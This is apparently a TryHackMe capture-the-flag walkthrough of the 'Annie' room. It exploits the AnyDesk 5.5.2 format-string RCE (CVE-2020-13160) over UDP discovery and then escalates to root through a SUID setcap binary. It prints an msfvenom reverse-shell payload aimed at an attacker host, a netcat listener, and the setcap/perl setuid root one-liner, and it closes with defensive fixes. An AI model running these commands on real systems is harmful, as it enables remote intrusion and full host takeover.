Annie
An AnyDesk 5.5.2 client exposes a format-string RCE over its UDP discovery port (CVE-2020-13160); after a reverse shell as annie, a SUID setcap binary is used to grant cap_setuid to perl for an instant root.
A walkthrough of the “Annie” room from TryHackMe. The box runs an AnyDesk 5.5.2 client, which has a format-string remote code execution in its UDP discovery service (CVE-2020-13160). An unauthenticated packet lands a reverse shell as annie**, and a SUID setcap binary is then abused to grant cap_setuid to perl — an instant root.
Annie is an authorized training challenge on TryHackMe; everything here was performed against a legal practice target. Both flags are shown as
THM{<redacted>}— real on the box, withheld here.
TL;DR
TL;DR
Port 7070 shows an AnyDesk Client TLS cert → AnyDesk uses UDP 50001–50003 for discovery; nmap -sU confirms 50001/udp open → AnyDesk 5.5.2 has a format-string RCE (CVE-2020-13160) in its discovery packet handling → run the public PoC with msfvenom shellcode to get a reverse shell as annie (user flag) → a SUID /sbin/setcap lets any user grant file capabilities, so setcap cap_setuid+ep /usr/bin/perl then perl ... POSIX::setuid(0); exec '/bin/sh' yields root.
The target
export IP=<target-ip>
export ATTACKER_IP=<your-ip>
nmap shows SSH and, tellingly, an AnyDesk Client TLS certificate on 7070:
22/tcp open ssh OpenSSH 7.6p1 Ubuntu
7070/tcp open ssl/realserver # ssl-cert commonName=AnyDesk Client
AnyDesk’s discovery runs over UDP in the 50001–50003 range; a UDP scan confirms 50001/udp is open.
The vulnerability
The whole box is a single, unauthenticated client-side CVE: AnyDesk 5.5.2 is vulnerable to a format-string bug in the way it parses discovery packets, giving remote code execution. The privesc is a dangerous SUID binary.
Insight
The discovery packet handler passes attacker-controlled fields into a format string, so crafted %n/%x specifiers (plus shellcode) corrupt memory and redirect execution — CVE-2020-13160. It needs no authentication; a single UDP packet to 50001 is enough. On the host, the real gift is a SUID setcap: whoever can run setcap can grant cap_setuid to any binary, turning an interpreter into a root shell.
Step 1 — AnyDesk format-string RCE → shell as annie (user flag)
Generate shellcode (bad chars \x00\x25\x26) and fire the public PoC at UDP 50001:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=4444 -b "\x00\x25\x26" -f python -v shellcode
# paste shellcode into the AnyDesk 5.5.2 PoC (scryh), set ip/port
nc -lvnp 4444
python2 exploit.py # -> reverse shell
annie@desktop:~$ cat user.txt # THM{<redacted>}
Step 2 — SUID setcap → cap_setuid on perl → root
A SUID sweep shows /sbin/setcap is SUID. Use it to grant cap_setuid to perl, then spawn a root shell:
annie@desktop:/$ find / -type f -perm -04000 2>/dev/null | grep setcap
# /sbin/setcap
/sbin/setcap cap_setuid+ep /usr/bin/perl
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
# id -> uid=0(root)
# cat /root/root.txt -> THM{<redacted>}
Impact
Critical
Critical — CVSS 3.1 ~9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). An unauthenticated attacker achieves remote code execution against the AnyDesk 5.5.2 client (CVE-2020-13160) with a single UDP packet. A SUID setcap binary then allows any local user to grant cap_setuid to an interpreter and become root — full host compromise with no credentials required.
Recommended fix
Fix
- Patch AnyDesk past 5.5.2 and don’t expose its discovery ports (50001–50003/udp) to untrusted networks.
- Never leave
setcapSUID (or otherwise runnable by unprivileged users) — it can grantcap_setuid/cap_setgidto any binary. Audit SUID binaries and capabilities regularly. - Avoid
cap_setuidon interpreters. perl/python withcap_setuidis a one-liner to root.
Takeaways
- A TLS cert names the service. The “AnyDesk Client” cert pointed straight at the CVE and its UDP discovery port.
- Client software is attack surface. AnyDesk 5.5.2’s discovery parser is an unauthenticated RCE.
- SUID
setcapis root. If an unprivileged user can runsetcap, they can handcap_setuidto any program.
Annie is a compact single-CVE box with a neat capability-based privesc. Thanks for reading.